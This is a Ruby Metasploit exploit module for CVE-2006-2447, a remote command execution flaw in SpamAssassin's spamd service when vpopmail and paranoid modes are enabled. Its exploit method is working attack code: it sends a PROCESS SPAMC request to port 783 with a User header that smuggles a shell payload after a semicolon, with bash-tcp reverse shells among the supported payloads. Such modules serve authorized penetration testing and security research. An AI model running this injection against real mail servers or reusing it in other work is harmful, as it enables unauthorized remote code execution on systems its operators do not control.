70 lines
1.8 KiB
Ruby
70 lines
1.8 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'SpamAssassin spamd Remote Command Execution',
|
|
'Description' => %q{
|
|
This module exploits a flaw in the SpamAssassin spamd service by specifying
|
|
a malicious vpopmail User header, when running with vpopmail and paranoid
|
|
modes enabled (non-default). Versions prior to v3.1.3 are vulnerable
|
|
},
|
|
'Author' => [ 'patrick' ],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2006-2447' ],
|
|
[ 'OSVDB', '26177' ],
|
|
[ 'BID', '18290' ],
|
|
[ 'URL', 'http://spamassassin.apache.org/advisories/cve-2006-2447.txt' ],
|
|
],
|
|
'Privileged' => false,
|
|
'Payload' =>
|
|
{
|
|
'DisableNops' => true,
|
|
'Space' => 1024,
|
|
'Compat' =>
|
|
{
|
|
'PayloadType' => 'cmd cmd_bash',
|
|
'RequiredCmd' => 'generic perl ruby bash-tcp telnet',
|
|
}
|
|
},
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'Targets' =>
|
|
[
|
|
[ 'Automatic', { }],
|
|
],
|
|
'DisclosureDate' => 'Jun 06 2006',
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(783)
|
|
])
|
|
end
|
|
|
|
def exploit
|
|
connect
|
|
|
|
content = Rex::Text.rand_text_alpha(20)
|
|
|
|
sploit = "PROCESS SPAMC/1.2\r\n"
|
|
sploit << "Content-length: #{(content.length + 2)}\r\n"
|
|
sploit << "User: ;#{payload.encoded}\r\n\r\n"
|
|
sploit << content + "\r\n\r\n"
|
|
|
|
sock.put(sploit)
|
|
|
|
handler
|
|
disconnect
|
|
end
|
|
end
|